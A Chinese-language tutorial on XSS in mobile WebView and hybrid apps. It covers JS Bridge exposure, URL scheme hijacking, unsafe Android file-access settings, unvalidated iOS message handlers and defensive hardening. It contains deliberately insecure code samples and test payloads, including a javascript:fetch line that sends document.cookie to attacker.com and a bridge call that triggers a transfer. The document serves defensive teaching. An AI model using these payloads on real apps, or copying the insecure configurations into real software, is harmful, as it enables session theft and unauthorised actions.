移动端XSS漏洞的核心在于App内嵌的WebView组件或混合应用框架执行了不受信任的JavaScript代码。很多团队在开发时只关注服务端接口安全,却忽略了客户端页面同样可以成为脚本注入的入口。攻击者利用移动端XSS可以窃取用户登录态、调用敏感的本地能力、伪造界面诱导操作,甚至在特定条件下实现远程代码执行。与PC浏览器相比,移动端的攻击面更复杂,因为WebView通常与原生代码通过JS Bridge进行交互,一旦JavaScript执行权限失控,风险会从Web层蔓延到原生层。

一、移动端XSS的常见触发路径
第一种路径是WebView直接加载远程URL或带有用户输入的本地HTML内容。如果应用没有对加载的页面做来源校验,攻击者可以诱导用户点击一个恶意链接,使WebView打开包含XSS payload的页面。这类场景常见于App内的活动页、广告页、客服聊天页等。比如一个电商App的订单详情中允许卖家填写商品描述,描述内容未经转义被拼接到H5模板中,买家打开订单时就会触发脚本执行。
第二种路径是JS Bridge接口暴露不当。移动端为了让H5调用原生能力,通常会注入一些JavaScript接口。如果这些接口没有做调用权限校验,或者允许H5传递任意参数执行敏感操作,攻击者就可以通过XSS调用它们。例如Android早期版本的addJavascriptInterface方法存在反射调用漏洞,恶意网页可以借助该接口执行系统命令。下面是一段存在风险的Android代码示例:
public class WebViewActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
WebView webView = new WebView(this);
webView.getSettings().setJavaScriptEnabled(true);
// 危险:暴露的接口没有任何权限限制
webView.addJavascriptInterface(new JSObject(), "androidBridge");
webView.loadUrl("https://ipipp.com/page");
}
class JSObject {
@JavascriptInterface
public void showMessage(String msg) {
// 如果msg中包含敏感操作指令,可能被恶意利用
Log.d("JSBridge", msg);
}
}
}
第三种路径是URL Scheme劫持。App注册自定义Scheme后,外部网页或本地恶意应用可以构造类似myapp://web?url=javascript:alert(1)的链接。如果App在解析该Scheme时直接将参数拼接进WebView加载逻辑,就可能执行任意JavaScript。攻击者利用这种方式可以绕过浏览器沙箱限制,直接触发App内的XSS。
二、Android与iOS平台上的具体漏洞示例
Android平台上的WebView漏洞主要集中在addJavascriptInterface的历史版本、setAllowFileAccess配置、以及loadDataWithBaseURL的不当使用。以文件访问为例,如果开发者开启了setAllowFileAccess(true),WebView可以读取本地文件,攻击者通过XSS读取/data/data/包名/下的敏感数据库或配置文件。以下是一个不安全的配置示例:
WebSettings settings = webView.getSettings();
settings.setJavaScriptEnabled(true);
settings.setAllowFileAccess(true); // 允许文件访问,存在风险
settings.setAllowUniversalAccessFromFileURLs(true); // 允许文件URL访问任意来源
webView.loadUrl("https://ipipp.com/user-content");
攻击者如果能在user-content页面注入一段脚本,就可以通过XMLHttpRequest请求file:///data/data/包名/databases/xxx.db,将数据发送到远程服务器。修复方式是将setAllowFileAccess设为false,并关闭setAllowUniversalAccessFromFileURLs。此外,Android API 17以后使用@JavascriptInterface可以防止反射漏洞,但仍需对接口方法做参数校验。
iOS平台主要涉及UIWebView和WKWebView。虽然UIWebView已基本被淘汰,但部分老项目仍在使用。在WKWebView中,JavaScript与原生交互通过WKScriptMessageHandler完成,如果不对消息来源和参数进行验证,同样可能被XSS利用。以下是一段存在风险的iOS代码:
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
WKUserContentController *controller = [[WKUserContentController alloc] init];
[controller addScriptMessageHandler:self name:@"nativeBridge"];
config.userContentController = controller;
// 未校验消息来源和内容
- (void)userContentController:(WKUserContentController *)userContentController
didReceiveScriptMessage:(WKScriptMessage *)message {
NSDictionary *body = message.body;
// 直接执行body中的命令
}
攻击者可以在H5页面中执行window.webkit.messageHandlers.nativeBridge.postMessage({action: 'transfer', amount: 1000}),如果原生层未校验message.name和来源页面,就可能执行转账操作。因此,iOS端需要校验message.webView.URL是否在允许的域名白名单内,并对body字段做严格的数据类型和范围检查。
三、移动端XSS的防护策略与代码加固
防护移动端XSS的首要原则是减少JavaScript执行入口。对于不需要动态加载远程页面的业务,直接关闭WebView的JavaScript支持;对于必须加载远程页面的场景,使用URL白名单机制,只允许加载经过审核的可信域名。Android端可以重写shouldOverrideUrlLoading方法,拦截所有跳转请求:
webView.setWebViewClient(new WebViewClient() {
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
if (isTrustedUrl(url)) {
return false; // 允许加载
}
return true; // 拦截未知URL
}
private boolean isTrustedUrl(String url) {
// 校验scheme和域名
Uri uri = Uri.parse(url);
return "https".equals(uri.getScheme()) &&
"ipipp.com".equals(uri.getHost());
}
});
其次,JS Bridge接口必须做最小权限设计。每个原生方法都要校验调用方来源、参数类型、参数长度和取值范围。可以给Bridge接口加上token或签名,只有通过校验的H5页面才能调用敏感能力。同时避免在Bridge接口中直接执行系统命令或文件操作,改用Intent跳转或系统服务封装,并在参数中禁止出现特殊字符。
针对URL Scheme劫持,需要对App注册的Scheme进行统一参数解析和过滤。不允许H5直接控制WebView的加载URL,尤其要禁止javascript:、data:等危险协议。在解析Scheme时,使用Uri.parse获取参数后必须进行URL解码和协议校验,禁止直接使用参数拼接字符串。如果参数中检测到JavaScript代码片段,直接丢弃请求。
此外,内容安全策略(CSP)在移动端同样有效。WebView支持通过HTML的<meta>标签或响应头设置CSP,限制可执行的脚本来源。例如在返回的HTML中加入:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' https://trusted.ipipp.com">
这样可以阻止内联脚本和第三方脚本执行,降低XSS利用成功的概率。但要注意CSP不能完全替代输入过滤和输出编码,开发者在拼接HTML时必须对用户输入做转义,尤其是单引号、双引号、尖括号和反斜杠等字符。
四、混合应用框架中的XSS与测试建议
使用React Native、Flutter、Cordova等混合框架时,XSS的边界会变得更加模糊。Cordova应用本质上就是WebView壳,如果允许加载远程内容且没有配置白名单,攻击者可以借助插件调用摄像头、定位等设备能力。React Native的WebView组件同样存在类似风险,并且需要注意其injectedJavaScript属性不要拼接用户输入。
测试移动端XSS时,可以构造包含特殊字符的输入,观察WebView是否弹出alert、是否发起外部请求、是否触发原生接口。常用的payload包括<script>alert(1)</script>、<img src=x onerror=alert(1)>、javascript:fetch('http://attacker.com?cookie='+document.cookie)等。测试过程中还可以结合抓包工具查看发出的网络请求,判断数据是否被外传。
最后,安全团队应该将移动端XSS纳入常规的安全测试流程,覆盖内部H5页面、外部广告页、客服系统、消息推送落地页等所有WebView可能加载的场景。通过自动化扫描和人工渗透相结合的方式,持续发现并修复注入点。只有从入口过滤、原生层隔离、权限最小化三个维度同时发力,才能有效降低移动端XSS带来的业务风险。

